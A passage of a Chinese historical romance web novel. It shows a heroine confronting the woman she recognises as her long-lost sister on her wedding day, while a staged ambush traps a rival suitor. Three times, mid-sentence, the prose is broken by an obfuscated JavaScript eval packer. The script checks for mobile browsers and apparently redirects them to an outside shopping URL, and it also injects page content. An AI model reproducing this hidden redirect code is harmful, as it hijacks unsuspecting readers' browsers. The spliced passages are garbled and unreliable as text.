她抬手抚了抚应钰的后背,低声道:“这件事是我的错,让你担惊受怕,也让你伤心了。” 应钰声音带着哭腔,忍不住控诉道:“你为什么不告诉我,你知不知道我看到你动手的那一刻,我心里多么担忧与震惊。你分明答应过我,舅父不对你动手,你也不会杀了舅父!而且,你既然活着,你为什么不告诉我,为什么不找我! “我们几十年的情谊,你当真觉得和我也说不得吗?” 枕清自知理亏,她声音略低,甚至有些没底气:“是我的错,那时候我也不知道我能不能活下来,我身上不只有箭伤,还有安南蛊毒。” “所以你害怕,就连一点生的希望都不告诉我?”应钰问。 枕清承认:“是,我害怕,我怕给你希望又让你破灭了,这件事只有禹王知道,我没告诉任何人。” 应钰不是个不通情理的人,听到枕清这样说,这是也过了,不过她在三确保:“如果以后还发生这样的事情,你一定要跟我说!” 枕清点头保证道:“一定,我第一个告诉你。” 这样,应钰才满意。 比如她问过禹王,禹王跟她说:“沿溪知道你会猜到她还没死,也猜到你会来问我,也叫我如实告诉你,她没有死,她在陇右。” 应钰道:“还有就是去了洛阳,遇到了很多人,我看中了好几家店铺,生意倒也火热。” 听了各种形形色色的事情,甚至连长安的局势都分析了一遍,唯独漏掉了一个人。枕清知道应钰这是怕自己说她,但是她也不得不不去问清楚。 枕清抚开杯中浮沫,表情虽是平淡,可话语犀利:“你明明知道我更想知道你和盛松言的事情,惊玉,我并不觉他能和你相配。” 一门之隔的盛松言:...... 想说点什么,却又感觉什么都不能说。 应钰隔着门看向盛松言的位置。今日天色昏暗,廊前挂着熹黄的灯盏,将盛松言的身影照应在窗棂的剪纸,黑影掉进一个又一个的窗格上。 “我原本也觉得自己和他不应该再有任何瓜葛。”应钰咬了咬唇,也不打算隐瞒枕清,把这段时间都跟枕清说了。 枕清忽然有些气着了,脊背微微后靠,贴上梨花木的木椅上,阴阳怪气地朝外边高声道:“这出苦肉计演得真好,这就让你心疼了?” 应钰睁大双眸,她可是听到过江诉娶妻的声音,娶的这人一定是枕清,她别有深意道:“是啊。换做江诉,你不心疼?” 枕清眼底升起一抹无奈,瞧了一眼应钰,许多都有自己的定数,她也不便多说。 既然盛松言和盛家没了牵扯,自然也没什么好说的了,她点了点桌案上的那些东西,思索道:“既然你来了,那这些店铺你着手让几个得力助手接下吧。我不知道你有没有发现,陇右这边传达的消息闭塞,除了通过驿站的官道,再没有其他人的手笔。” “你想要我来开通这条路商道?”应钰问。 “聪明。”枕清赞赏地看着她。 “正好我也想要在陇右考察一番,自然可以。”应钰用手撑着脑袋,“这段时日,正巧赶上了你和江诉大婚,到时候我就装成从长安来的商客,来喝你的喜酒。” “好啊。”枕清朝外微微抬起下颚,“怎么?洛阳的事情不多了,竟然还陪你跑来这个地方玩?” 应钰也很无奈,她两手一摊道:“不知他哪来的本事,居然还能劝得动太后,说他想要私访陇右。” 私访是假,不想离开应钰才真。 不过太后殿下会答应也实属正常,长安每一年都会派出官吏来各个地方各个郡县查看情况,向上头汇报一些遗漏或者是不符合郡县实际上汇报的情况。 她们两人谈到深夜,门外的盛松言竟也有能耐等到那时候,在这期间内,盛松言也就来过一次,说应钰还未吃完饭,两人又边吃边说。 枕清也说了大婚那日不是真的,让他们不要去,那日只是为了对付王闻礼。 应钰说自己看上了司盐池。 枕清对于生意上的事情都是看应钰行事,应钰偶尔拿不定的主意会叫上她,其余的时候都是应钰一人去看地方,收集情报。 至于这个司盐池,地处河东位置,是天然的盐池,不需要耗费人力去制作,早年前便有人推出了恳畦灌溉的法子,使河东盐池生产水平又有很大的提高。 不仅仅太后殿下十分重视那处,禹王也推行了鼓励盐业生产的政策,城镇上的盐池产量也跟随着大幅度增长。 不过这件事有人比应钰更快想到,那是一个叫梅海的商人,在这十年间获金巨万,遂成大富,是名副其实的天下第一富商。 甚至在大启流传着这样一句话,梅家的生意已经做到了:“西出陇右,南过安南,北极回纥,东抵东瀛。”[1] 可见其数量极为庞大,身价早已富可敌国。 在之前,枕清从未听过这样的人物,不过当下听应钰讲了起来,好似想起来有这么一个人。应钰说,她十分钦佩这位梅海,他可是切切实实白手起家的人物,先是从买卖牛羊开始做起,逐步扩大发展到如今的地位,如果有机会他,应钰一定会好好上门拜访。 之后应钰又苦恼道:“哪里像我一样,我一开始就有你的帮衬下才逐步有如今的成就。” 这话,枕清并不爱听,她虽然觉得这梅海是有本事,可有些时候也还是凑上了好时机,处于那样的时机和风口在面前,是头猪也能带飞。不过要维持恒久的财富积累确实需要能力,不过不代表应钰没有这样的能力。 枕清抬手碰了碰她愁眉苦脸的神色,认真道:“你在妄自菲薄什么?上一世你在扬州的时候我可是帮过你一点?你自己一人不也做大做强,这世间对女子苛刻,你能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665354|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这般模样,得如此成就,早已经胜过万千人。惊玉,你很厉害。” “好。”应钰自然知道自己在枕清心里是最好的模样,而枕清在她心里,何尝不是一样的呢? 枕清微微思索,又道:“十多年前就已经开始接受了河东盐池,怕是轮不到你了,不过他确实厉害,很有先见之明,天然盐池取之不尽用之不竭,他所耗费的,更多的是人力。” 应钰认同道:“是的。不过我听说他为人仗义,又乐善好施,对于天灾人祸都会出手相助,就好像是很多年前的......枕家。” 差点忘了,枕家也是商贾出身,曾今也是名杨万里,财富巨大。 应钰自然也会对枕家有所了解,只是在枕清面前讲这些,总归会有些伤情。 枕清并没有什么感觉,枕家的人都死了,唯一活着的人,她好像也找不到了,和齐离弦也失去了联系。 “你找到你的阿姊了吗?一点线索都没有吗?”应钰知道枕清心中事多,这也是其中一件,以她现在的能力虽说这件事不简单,但起码也到了能说出帮忙这件事的能力,“你不如和我说说一些特征,我帮你。” 枕清摇摇头道:“我不知道她现在姓甚名谁,就连多大也不清楚,更别说容貌特征。倘若在从前,她有心找我,或许去禹王府就能知道我,可是现在就连唯一证明我是枕清的身份都已经不复存在了,能找到她的希望更为渺茫。” 其实她也不想找了,或许她的姊姊在这个世界上的某一处角落好好活着,过得平安健康就好,至于其他的东西,就让她来吧。 窗外又下了一场雪,纷纷扬扬,天地融成了一片颜色。 这段时间,不是枕清朝外走,便是应钰来到都督府中,她们两人时常见面,自然和薄映禾也见过面。 薄映禾第一次见到应钰,温和地问了她是哪里人,又谈及了其他的东西,薄映禾越发的心神不宁,可心中某种异想天开的想法已经确定了。 “应小娘子小小年纪,便有这样的一番事业,日后定更加前途无量。”薄映禾温柔道,“陇右这里不及长安洛阳便利,来往的路途中,甚至没有一间小馆或是客栈,倘若小娘子愿意在陇右发展,在日后定能使陇右蒸蒸日上。” 这样的想法好,叫人这里做生意开拓,不就摆明送钱来了? 既可以开通多条路,甚至还能让多道互通,也不至于消息闭塞,甚至还能增加陇右百姓的收益,两全其美。 可这些都需要费钱,不是一点的钱。 应钰倒也没有多客气,她笑着回道:“薄大娘子也知道这事棘手,这钱一旦投入,没有个五年八载,怕是收不回来,再容我好好考虑吧。” 薄映禾道:“好,我这也不是再逼小娘子,无论最后是否能成,我都不会说半句。” 这话给两人都留了余地和体面,没有强人所难和威逼利诱,只是太好说话了,也就显得有几分古怪。 薄映禾说完这句话,站起身起身便要走了。枕清喊了一声姊姊慢走,就同应钰讲话。 应钰看着人走远,她不解道:“你为什么不让我瞒着她?我的身份,她一定知道,而我和县主关系甚好,她大抵也会知道,你就不怕身份暴露?” 枕清微微一笑,她缓缓开口道:“世上没有不透风的墙,就算现在不知道,日后也会知道的。至于我为什么不让你隐瞒身份,是因为我想借你的手,试探一件事。” “有结果了?”应钰问。 枕清望着薄映禾远走的方向,狡黠道:“快了。” 63. 围幅高深春昼深(六) 这段时日,薄映禾已经把应钰的身份问清楚了,从动作和神态来看,的确是长安城内那位女商人。 薄映禾心绪不由变得混乱,她深深吸了一口气,隐藏好眸中的暗色。 敢问禹王府里那位县主和谁的关系最好? 旁人都说是陆家娘子陆佑善,可是陆佑善出身在世家,心里并不单纯,她这样的人势必要和每一位长安贵女打好关系,而枕清必然是她首选的范围内。 看似真心,倒也未必。 唯独那位女商人的应小娘子,拜禹王为舅父,和枕清自小长大,亲密无间。 只是这位应小娘子行事低调,很多事务都交给身旁的一位叫青黛的小娘子,还有两位昆仑奴。 居然敢用昆仑奴,可见其心思大胆。 眼见大婚日子到了。 枕清当日天还未亮就已经被奶娘催着起身,身旁匆匆忙忙走过多人,各司其职地开始为她梳妆打扮,她还在昏昏欲睡中,便看到身旁多了一个人。 她视线微微上抬,看到薄映禾的面容,打了困意的哈欠,抬手掩面道:“姊姊来了,今夜和我一样没睡吗?” 薄映禾在嬷嬷手中接过头簪,轻轻在她发鬓上簪住,又替枕清拢了拢衣服,被这样的枕清微微炫目,屋内的无一不被枕清这副模样惊叹,更是觉得眼前一亮又一亮。 她笑而不语,只沉浸在喜色之中,彼时大堂的另一侧发生巨变,依旧没有波及到此处,所有人井然有序。 大堂正殿有人匆忙闯入,急声朝着符生枝道:“禀都督,有人将府中围堵了起来!” 那位侍卫目光转向江诉,甚至带着有些怨恨地气急,他高声道:“而且为首的人是江长史手底下的人!他们已经杀进来了,意图造反!” 符生枝闻言当即看向江诉,突然笑着拍手,声音携带风雨欲来的盛怒:“今日你大婚,来听,意欲何为昂?这是给你自己一个大礼,还是送我一个大礼?” 江诉面色并不比符生枝好看多少,可是他还是维持镇定自若的样子,仿佛这件事就是和他无关。 他没有去同符生枝争辩,而是问向那个人:“你说是我底下的人,那带头的人是谁?” 那侍卫怒道:“江长史现在何必故作一副不知道的模样?是高侠!如果不是你的命令,谁能唤得动他们!” 高侠。 这里谁不知道高侠和徐瀚是王闻礼底下最为得力的助手,他们两人从前就对王闻礼马首是瞻,倘若换作是张飞飞和邓跃,想必真有江诉的手笔,可是张飞飞和邓跃并未在其中。 符生枝默默凝视江诉的神色,好似也在等待江诉怎么开口。 江诉轻而慢地点头,他不急不缓道:“不管都督信不信,这件事我的确不知道,高侠从一开就已经不满我坐上长史之位,时常不听命行事,没想到如今会在我成婚这日做出这般大逆不道的事情。那就抓拿高侠等人,杀无赦。” 符生枝当即朗声大笑,走前拍了拍江诉的肩膀,力道沉厚,如果不是没有武功之力,势必要被拍弯了腰,可江诉身子依旧挺拔,纹丝不动。 符生枝别有深意地看着江诉,咬牙连声道了三声好。 这是王闻礼的动作,这是要把他和王闻礼往死里逼,两方交汇,势必两败俱伤。 而且江诉还能清除手底下不听话的人,剩下的都是别无二心的人,届时去渭州安排上自己的人马,陇西那一块便又由江诉一人把控,果真是一举三得。 他原本想要让江诉底下的人相互制衡,今日这般局势一来,加之高侠一死,那么局势便失去了控制。 这分明就是算准了王闻礼今日的动作,肃清余党呢。 果真是心思缜密,渔翁得利。只是没想到江诉居然会在大婚这天谋算,竟然连婚事也不在乎了。 那么之前他想提醒江诉在爱与前途,两方取其一,他怕是早有做打算,甚至有鱼和熊掌兼得的意思。 好啊好。 “都督!他们杀进来了!”有人仓皇大叫,急窜逃离,有人准备兵刃,只待都督一声令下。 “都督,我们的人马在昨日夜里就被支出去了,现在只剩下兄弟们几十人。” 在一旁听着这边说,那边喊的张飞飞也没想到高侠竟然会这般做,他啐了一口,粗鲁道:“他娘的,在长史大喜这天搞这出,狗娘养的,老子这就杀出去!” 邓跃拉住张飞飞,现在大堂内的气氛诡异,现在出去势必不是一个好时机,不如再看,等江诉和符生枝如何说。 “北小娘子不是有骑兵吗?”符生枝转头逼视江诉,“有用武之地了。” 江诉微微一笑道:“都督这么懂行军作战,怎么会不明白骑兵对付步兵,理应要避开山林沼泽等险要之地,在开阔平坦之地行军作战,都护府都是房屋,街上人流众多,恐怕伤及无辜,自然成了阻碍,如何行动呢?” 符生枝咬紧牙关,眼神陡然变得凌厉,他冷声道:“江诉!” 江诉颔首道:“我这就叫北小娘子集结人马。” 与此同时,枕清这边看到薄映禾送的东西足足写满了一本册子,不禁惊讶。 虽然她和薄映禾的交情还不错,但不至于好到能给这么多东西的地步,这未免有些太财大气粗了。 枕清合上册子,感受到薄映禾轻轻梳理她的发鬓。 薄映禾温柔地感慨道:“长大了,要出嫁了,你把都护府当作娘家就好,如果在来听那里受了欺负,你就跑回来,我和生枝帮你撑腰。” 这话说得亲昵,好似真的是亲人一样。 听到这话,换做以前,枕清自然听不明白,甚至觉得莫名其妙,可是这段时间薄映禾的行径着实太怪异,而且送的那些礼品,就算关系再好,也不至于做到这般地步。 薄映禾这种奇怪并非是有敌意的,而是隐藏在暗处对她的打量和考究,似乎在一步步试探她是不是某个人,平日的吃食和用品都无微不至,这种好,更像是带着隐隐地愧疚,想要对这个人好的纠结。 这份纠结和试探在见到应钰后,才完全消失。 枕清注视铜镜里的薄映禾,唇瓣微启:“薄娘子,我之前遇到了一个人,她说她叫齐离弦。” 薄映禾留在枕清发梢的手微微一顿,她心跳动得厉害,猛地与镜中的自己相望,又垂下目光看向枕清的面容。 两张脸一同落在铜镜内,竟有七八分相像! 枕清露出一抹温和的笑意,现在就连神态和气质都变得极其相似,仿若同一个人似的。 枕清学着薄映禾的样子,温柔笑道:“是因为和姊姊相处的时间太久,便变得有些相像了,还是说,姊姊明明认出我是谁了,却不愿意与我相认?” “啪。” 手上的梳子当即滑落,发出极为清晰的响声。 屋内的人心领神会,见两人神色不好,自觉退避,默默地走到门外,屋内静得只有两人的呼吸声。 一道沉重紊乱,一道清浅自如。 薄映禾慢慢撤回搭在枕清发鬓上的手,她面容逐渐失去血色,好似看到什么可怕的事情,又像是某种东西跟随着梳子一样被摔落在地。 枕清站起身,恢复自己原本的样子,半点退让的意思都没有,微微挑眉,却又势在必得:“枕灵。” 这声音唤得极轻,好似早在舌尖跳过几百次,也唤得极其平稳。 薄映禾却像是没有察觉到般,她彼时的状态犹如僵硬的木偶,看向枕清的一举一动都变得迟缓。 枕清非常得不解,她这般模样,这般状态让薄映禾相认竟然会这般的难堪吗? “你是从什么时候知道的?”薄映禾克制地问。 她本就没有想隐瞒枕清,只是如果枕清一直没有发现,那么她也会一直装作不知道。 可惜,枕清太聪敏了,甚至跟阿耶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665355|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一模一样。 见薄映禾终于肯承认了,枕清这才敢确定自己这步棋没有赌错,不过她心中并没有如自己所想的那般松懈下来,反倒是因为身份的坦明,让她们两人变得无所适从,好似没有了任何伪装的面具,便没有办法好好保护自己。 枕清朝桌案的那一处走去,脚底拖曳着长裙,她伸手甩至一旁,声音平而缓:“很早,姊姊或许不知道,在这个世界上,很少有人会无缘无故对一个人特别好,倘若真的有,那便是在那个人身上有利所图。可是你所图什么,我倒是真的没想到,直到我看到你眼中的愧疚,那是对我的愧疚。” 她又微微一笑,笑容很清浅,很伤心,很苦涩,很复杂,很克制。 枕清沉默良久后说道:“没有人会无缘无故地对另一个人心生愧疚。所以,你的愧疚究竟是什么呢?是因为未陪伴我长大成人,是可怜我从小没有感受过耶娘的疼爱,还是愧疚你从来都没来长安看过我,一直待在陇右这片安逸之地?” “我看过你的。”薄映禾忍不住道,“我是看过你的,只是你不知道。” 枕清自嘲般笑,一直在记忆中反复摸索,她从来都没有遇到过比她大的女娘,倘若薄映禾在她面前出现过一次,哪怕是一次,她也不会不记得,更不用在脑海中反复翻找。 “既然你都不想让我知道,那又何必来看我呢?”枕清缓缓抬起头,原本垂下的目光在金丝编的拖曳群上,逐渐移到薄映禾身上,目光浓厚又淡漠。 薄映禾很漂亮,很聪明,也很冷漠。 这样的薄映禾,根本不需要一个叫枕清的妹妹出现,而她这样的身份,只会令薄映禾烦忧,可是她自己也是恶劣的,恶劣地想要这个世界上真的有一个亲人的存在,自此她就不再是一个人了。 她也是有家人了。 薄映禾不知枕清所想,她在枕清浓烈的目光中,苍白地为自己出声解释:“不过是在雷州,那时候你在雷州还被人唤做‘不要命’,当时的我保护不了你,所以我只是在一旁偷偷看着你,小齐也曾看过你。” 这里的小齐便是齐离弦。 薄映禾痛苦地望着枕清道:“你那么敬重禹王,倘若我和你说,他就是对付枕家的真凶,你敢说你不会有那么一点的怜悯之情?我之所以不敢与你相认,是因为我怕,我怕你受万人唾骂,我怕你日夜寝食难安......” 声音断在此处,两人的神色隐匿在大喜的烛光内,将她们的神色与动作一一洞悉,寂静无声的屋内,每一处的细微的东西都被无限放大。 这件事,对于她们而言,是痛苦的,是不忍回忆的。 枕清倏地站起身,执拗道:“我曾问过禹王,他说他只是被先皇派去陪同,真正要朝枕家下手的人不是他。” “怎么会不是他?你说那里的人里面除了柳长鸣,不是他还能有谁?这件事获得最大的利益不就是皇家!”薄映禾盯着枕清的双眸道,“是他害得我们家破人亡,你认贼作父的这些年里,你知不知道我有多难受?” 枕清的手微微颤抖,仿若濒临死亡的老者,她的双唇紧紧绷着。 最后,她沉沉闭眼,复而睁开,一字一句如同刀刃般朝她而去,沉声道:“既然如此,符大都督也是陪同的人,他难道就不知道枕家内情?他难道就没有对枕家动手?姊姊,当我知道你是枕灵,知道你是符生枝娘子的时候,你当真觉得我不难受吗?” 枕清看到薄映禾双眸的痛色,她深呼吸,缓和道:“我和禹王相处多年,他究竟是什么样的人,我清楚,也信他。姊姊与符大都督相处七八载,也比我更为清楚他是怎样的一个人,你选择相信他,而我选择信禹王,我们都没有错,只是相信自己愿意相信的罢了。” 是了。这才是枕清,这才是枕家儿女的样子。每个人都有自己心中的选择和想法,坚信自己所走的那条路是对的,即使错了,她们各自也会咬着牙走下去。 64. 围幅高深春昼深(七) 她们沉默地对峙着,仿佛隔着一条长久又执着的泾渭线,各自坚守着各自领域中的禁地。 直到外边传来混乱的厮杀声,甚至带有几分尖锐地逃窜声音,磕磕碰碰,仿若是琳琅满目的陶瓷被撞得稀碎。 薄映禾面色一变,她正要出去看明状况,枕清眼疾手快地拉住薄映禾的手,冷静地开口稳住她:“薄娘子不必出去,安心待着吧。” 薄娘子。 枕清这是要和她分出一道边界线,是为了保护自己,还是为了不想让她忧烦?先前枕清步步紧逼想要让她说出自己就是枕灵,现下知道了,好似又比平日更为陌生。 薄映禾这才后知后觉,枕清之所以这样做,是在试探自己对她,究竟是怎样的情感与状态,倘若自己欣然接受,或许枕清也会开心地唤自己为姊姊,如同再寻常不过的姐妹;但如果,自己一旦表现出抗拒、担忧、不妥,那么枕清也会出于保护,划分出一道清晰的边界线。 而这样泾渭分明的线,从始至终只有她们两知道,自然不会再日后的某一刻发觉到后,突然后悔。 这样的清楚,也避免了开始的错误。 枕清想得比她深远,也比她通透,她们两人分开得太久,没有人会一直拘泥在从来都看不见、没有得到过的情感里。 只是会偶尔想念。 “你知道有人会来?”薄映禾看着枕清,拗不过枕清的目光,只好重新坐回原位。 枕清见人没有出去的意思,这才点头道:“难道薄娘子没发现我为何不在我往常的那间院子里,而是换了另一间屋子?我们就只需要等着,等着就好了。” 良久后,薄映禾道:“重新唤我姊姊吧。” 枕清突然轻笑一声,没有嘲讽,没有恶意,只是笑而已,但又不仅仅是笑。 在她疑惑的目光下,枕清开口问道:“我愚钝,在薄娘子心中,此姊姊非彼姊姊,对吗?” 薄映禾心中微微酸涩,好似吞下了无尽的苦楚,但是在这一刻,在看到枕清的这一刻,都化作一层很淡的薄雾云烟。 没有什么事情是比得上枕清的,她眸中含着隐隐欲坠的泪花,在听到枕清一声声直白地试探中,心中的打量和算计如同山崩地裂,世界都因为这份血缘而颠倒,泪最终溢了出来,在眼角滑落。 她不愿被枕清瞧见,于是偏过头,露出锋利的下颚线,面露强硬的姿态,微微侧首看她道:“我叫枕灵,你叫枕清,我们都是枕家儿女,你不唤我姊姊,还有谁能唤我一声姊姊。” - 另一间院子的布置和枕清所待的院子如出一辙。 大红喜字贴在院中各处,大红灯笼飘飘荡荡,即使下了几场大雪,也盖不住这处的红艳。 王闻礼伸出手,碰到剪纸的喜字,缓缓推开房门,目光望见床铺上端坐着一个人,他慢慢走上前,抓住那位新娘子的手腕骨。 他心中怀着隐隐不安,可又被喜悦给替代,唯独在碰上手腕骨的这一刻,他每一处都叫嚣着兴奋的感觉戛然而止。 这骨架虽然纤细,可是他立马就感觉出比枕清的略微大一些。他不动声色地掀开那人的喜帕,露出的面庞,是仇羌那张笑嘻嘻的脸。 仇羌面露矫揉造作的笑意,有意挑眉后,当即凌厉快速地朝王闻礼打了一拳,正好落在胸膛前。 王闻礼猝不及防,硬生生挨上了这一拳,他不免后退拉开与仇羌的距离,却又有被耍后的怒意,他冷声道:“枕清呢?” 王闻礼没听到回答,在下一瞬间便和仇羌大打出手,招招快速狠戾,甚至朝着对方的命门而来。 仇羌笑着避开,两人交手打的有来有回,王闻礼惊觉仇羌的功夫大有长进,却又不自觉开始疑惑仇羌怎么会在短短时日中增进如此之快。 除非是从一开始,对所有人都隐藏了实力。 可王闻礼并不在乎,而是继续质问枕清的下落,“枕清呢?你把她藏哪了?” 仇羌用手肘桎梏在王闻礼脖颈上,无辜地眨巴眨巴大眼睛说:“枕小娘子这般凶,有什么好的,你倒不如娶我,我可比枕沿溪好上几十倍!” 王闻礼闻言大怒,反手朝下,打上仇羌腹部,骂道:“去死!” 仇羌呕了一口气,微微弯下腰身,唇角还是挂着笑,嘻嘻批评道:“你这粗鲁的莽夫,这大喜的日子把死挂在嘴边,这多不吉利!” “找死!”王闻礼快速在他脸上挥拳,仇羌快速躲避,只出现一道残影,王闻礼这才恍惚地发觉到,他甚至连仇羌的一片衣角都碰不到。 两人将屋内的桂圆花生打落一地,盘子和灯笼咯咯作响,瞬间一片狼藉。 随着不远处的声音逐渐变得近,仇羌神色微动,还未来得及分清是敌是友,就被王闻礼偷袭,将他惯到窗棂上,窗户因受巨大的力,顿时炸开,许多的纸屑、木屑都散落一地,窗户上的大红喜字也被撕裂成醒目的两截。 狼狈、狼狈至极! 仇羌肩膀微微作痛,甚至连腿上的力气都没有了,王闻礼还跟条狗似的穷追不舍,他当即凭借打不过就跑的江湖原则,在地上翻滚了两圈,飞奔到长廊上。 他看到带着大批人马往这里来的江诉,瞬间笑开成一朵妖艳的花,旋即躲在张飞飞身后,张飞飞看到王闻礼的时候面色微微一怔,却意外地没有说话,只是慢慢挪一步,挡在仇羌面前,将仇羌保护在身后。 这样的动作无疑是告诉所有人,他张飞飞就是上了江诉这条船的人。 仇羌眼神微动,他在陇右待了这么久,自然也知道张飞飞、邓跃和王闻礼的关系匪浅。 只不过他们两人在王闻礼底下并不受器重,自然要找一个更好的主人,择优选择,是个人都明白的道理。 仇羌在心中朝王闻礼轻蔑一笑,面上却笑得开心,甚至还煽风点火,杀人诛心道:“飞兄威武霸气!那人打得我疼死了,直接从窗户内飞出去,大门开着也不让人走,果真是不会怜香惜玉,讨厌!” 他的小声嘀咕,就连王闻礼都能听到,更别说周围的那些人了。 王闻礼看到江诉带着那群人,冷不丁笑了一下,知道自己落入枕清所布置的陷阱里。 但也不全是,王闻礼自己也曾算过的,符生枝的人马都被支出了庭州,一时半会也回不来,城中人马只能从江诉这边出手集结,而他跟高侠来个里应外合,抢占都护府,这样占领了庭州,便能自立为王,更别说什么长史的位置。 可是江诉底下还有百余人,以及枕清手中百余位骑兵。 是他没想到吗? 他想到了,骑兵不适合在城池内作战,更别说都护府中。 只不过是枕清从来没有想过要嫁给他,一切都是算计而已! 王闻礼看向江诉所带着的人马,突然笑道:“符生枝底下的人都被支出去了,而你手底下有这些人,能这么快到都督府,是她手中的骑兵吧。你以为我当真是没算到吗?只是我不敢相信你竟敢一直把这骑兵私养在自己队里,你真不怕符生枝防备你,然后寻个理由杀了你?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665356|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江诉对付王闻礼已经胜券在握,至于符生枝,他们本就难以成为同路人,所以他从一开始就留有后手,并不担心,更不需要王闻礼提醒。 江诉轻轻拢了拢身上的喜服,漫不经心回道:“那又如何?” 王闻礼看到他身上刺眼的大红,心中不知为何,突然一哽,这究竟是江诉有意为之给他看,还是无心之举,他不知道。 他只知道现在的局势,自己死路一条,其实早已经没有什么所谓,这段时日的他就是一根被吹倒的草,风去往哪里,他也只能被迫跟着飘。 沦落到如今地步,他早已经想到了会有这样的结果,可无论是死去还是赖活,在最后,他都想搏一搏。 不过,直到现在,他都不明白为什么枕清不肯喜欢自己,他到底是那点比不上江诉。 天空又飘起了的雪粒子。 一到冬日,陇右的雪便一直下个不停。 还记得他第一次见到枕清的时候,也是在一个雪日里。那时的她已经成为了皇后殿下,是张宣晟的妻子。 长安城的宫墙高大庄严,被一场飞雪覆盖,变得神秘又温柔,枕清孤身一人站在白皑皑的高墙之上,微微俯下目光看向这座古老的宫墙变得宁静纯白,目光沉静又安详,好似一位无情无爱的神女,对世间万物都不在意,眸中却又装点了万物。 在庄严厚重的宫墙内,在洁白的雪映衬下,她逐渐变得高不可攀。 王闻礼不自觉地抬起脸,一步步走近枕清,可枕清的眼中依旧没有他,在那一刻,他想着这样的人,究竟会把谁装点进眼中。 他鬼使神差地走上那座宫殿,也跟她一同站在高墙之上,他恍惚觉得自己就是和她是一样的人。 突然有一位老大监从中走出,掐着尖锐的嗓音提醒枕清。 “皇后殿下,您已经是宫中之首,许多事情,倒也不必看得太明白,腌臜之事哪里都有,您可得给我们底下的人留条活路啊,没有我们底下的人贴心伺候,您还是真正的宫中之首吗?”老大监俯首垂眸,姿态虽是卑微,可嘴中暗藏锋利没有藏拙的意思。 枕清并没有生气,而是敛下目光,淡淡一笑道:“高宦官,你如今站在这高墙之上,俯瞰低端的人,如同蝼蚁一般,可你是否真的,如你所见的这般开阔?你想警告我,可你别忘了,底端的人抬眸仰视你,你在他们眼里,也是微不足道的一点。” 谁都可以是蝼蚁,谁都可以是巨擘。 “高宦官不必惊慌,我这不仅是在提醒你,也更是在提醒我自己。”枕清抬起眼,望向他的目光略有怜悯,又有可悲,仿若她就是这个世上最心疼他的人。 大监心中警惕狂跳,他宁愿枕清对自己疾言厉色,也不要这么温柔平静,把风云叱咤化作绵绵春雨,如同针尖扎入体内,却又令他动辄不了半分。 他唇角嗫嚅着,始终没有说出任何一句话。 三日后,王闻礼听到这位大监死了,据说是一位小宦官受不了大监长期的欺压,在半夜拿刀砍死了这位大监,引得满城风雨,满朝震动。 做了坏事情的人,人人自危,生怕在某一日悄无声息的被砍死。 而王闻礼也翻来覆去、思来想去,不知道这其中有没有枕清的手笔,又或者大监的死是否在她的预料之内。 他对待府中的妾室并不好,这日之后,他时常梦到刀架颈侧,日夜难眠,于是长日之外的长安也遣散了府中所有妾室。 因为入迷,也因恐惧,他还是忘不了,一直都忘不了枕清。 65. 围幅高深春昼深(八) 他与枕清的第二次见面,是在一个很平和的春日午后。 朝中举办春闱涉猎,长期呆在陇右的他,对于这样的机会少之又少。 长安有善骑射者,可对于在陇右的他而言,长安里的人不足为之与敌,因此他在长安一举夺得第一,满载风光与得意。 张宣晟则是坐稳皇位不久,需要陇右那边的扶持,对于王闻礼也是好言好语相待,在他夺得第一后,高兴抚掌,当着众人的面说要嘉奖他,问他想要什么东西。 王闻礼并没有当即说出口,他只是静静地看着坐在张宣晟身边的枕清,张宣晟也注意到王闻礼的目光,不由地深深皱眉,想说点什么,却又察觉自己无从开口,只是安静地留意两人之间是否涌动着一层他所不知道的关系。 可是枕清并没有看向任何人,一直自顾自地逗弄着自己手中的兔子。 所有人都在等待王闻礼和圣上的意思,一直都没听到动静,也跟着这两人看向枕清。枕清生得秀丽多姿,看一眼旁人都叫人开怀,是个十足十的美人,也难怪圣上会一直以皇后殿下为首。 只不过,圣上有些太过宠溺皇后殿下,似乎何事都由着皇后的性子,只有一些在官场混迹几十年的老狐狸才明白圣上这是借着皇后殿下的手,除掉自己想除掉的人。 万事都有美人担着名声。 未几,王闻礼也没见枕清朝自己这边看来,于是开口道:“臣胆大妄为,想要皇后殿下手中的兔子。” 枕清这才停下手中抚摸兔子的动作,微微抬眸看向下方的王闻礼。 这是她第一次看向王闻礼,居高临下,却没有任何情绪。 张宣晟脸色霎时变了,可也就一瞬,之后依旧维持亲和的姿态,笑着指责他道:“你果真是胆大妄为,连皇后手中的爱兔也敢要,这个恩赏朕做不了主,你还是问皇后吧!” 所有人的视线定在枕清身上,都在等着枕清如何开口。 究竟是允还是不允。 